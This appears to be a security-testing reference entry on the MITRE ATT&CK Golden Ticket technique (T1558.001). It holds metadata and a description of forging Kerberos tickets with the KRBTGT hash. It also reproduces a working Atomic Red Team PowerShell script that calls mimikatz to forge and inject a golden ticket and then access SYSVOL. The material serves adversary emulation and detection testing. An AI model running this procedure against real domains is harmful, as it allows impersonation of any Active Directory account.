| name | T1558.001_golden-ticket |
| description | Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket. |
| category | authentication |
| version | 18.1 |
| author | cyberstrike-official |
| tags | ["mitre-attack","enterprise","t1558.001","credential-access","windows","sub-technique"] |
| technique_id | T1558.001 |
| tactic | credential-access |
| all_tactics | ["credential-access"] |
| platforms | ["Windows"] |
| mitre_url | https://attack.mitre.org/techniques/T1558/001 |
| tech_stack | ["windows"] |
| cwe_ids | ["CWE-522"] |
| chains_with | ["T1558","T1558.002","T1558.003","T1558.004","T1558.005"] |
| prerequisites | ["T1558"] |
| severity_boost | {"T1558":"Chain with T1558 for deeper attack path","T1558.002":"Chain with T1558.002 for deeper attack path","T1558.003":"Chain with T1558.003 for deeper attack path"} |
T1558.001 Golden Ticket
Sub-technique of: T1558
High-Level Description
Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket. Golden tickets enable adversaries to generate authentication material for any account in Active Directory.
Using a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.
The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets. The KRBTGT password hash may be obtained using OS Credential Dumping and privileged access to a domain controller.
Kill Chain Phase
- Credential Access (TA0006)
Platforms: Windows
What to Check
How to Test
Atomic Red Team Tests
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Atomic Test 1: Crafting Active Directory golden tickets with mimikatz
Once the hash of the special krbtgt user is retrieved it is possible to craft Kerberos Ticket Granting Ticket impersonating any user in the Active Directory domain.
This test crafts a Golden Ticket and then performs an SMB request with it for the SYSVOL share, thus triggering a service ticket request (event ID 4769).
The generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.
Supported Platforms: windows
Remove-Item $env:TEMP\golden.bat -ErrorAction Ignore
Remove-Item $env:TEMP\golden.txt -ErrorAction Ignore
# get current domain SID if default was used
$domain_sid = "#{domain_sid}"
If ($domain_sid -Match "DEFAULT") {
# code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60
$domain = gwmi Win32_ComputerSystem | Select -Expand Domain
$krbtgtSID = (New-Object Security.Principal.NTAccount $domain\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value
$domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))
}
# create batch file with commands to run in a separate "runas /netonly" session
# so we don't purge Kerberos ticket from the current Windows session
# its output goes to golden.txt temp file, because we cannot capture "runas /netonly" output otherwise
@"
>%TEMP%\golden.txt 2>&1 (
echo Purge existing tickets and create golden ticket:
klist purge
#{mimikatz_path} "kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{krbtgt_aes256_key} /user:#{account} /ptt" "exit"
echo.
echo Requesting SYSVOL:
dir \\#{domain}\SYSVOL
echo.
echo Tickets after requesting SYSVOL:
klist
echo.
echo End of Golden Ticket attack
)
"@ -Replace "DOMAIN_SID", $domain_sid | Out-File -Encoding OEM $env:TEMP\golden.bat
# run batch file in a new empty session (password and username do not matter)
echo "foo" | runas /netonly /user:fake "$env:TEMP\golden.bat" | Out-Null
# wait until the output file has logged the entire attack
do {
Start-Sleep 1 # wait a bit so the output file has time to be created
Get-Content -Path "$env:TEMP\golden.txt" -Wait | ForEach-Object {
if ($_ -match 'End of Golden Ticket attack') { break }
}
} while ($false) # dummy loop so that 'break' can be used
# show output from new empty session
Get-Content $env:TEMP\golden.txt
# cleanup temp files
Remove-Item $env:TEMP\golden.bat -ErrorAction Ignore
Remove-Item $env:TEMP\golden.txt -ErrorAction Ignore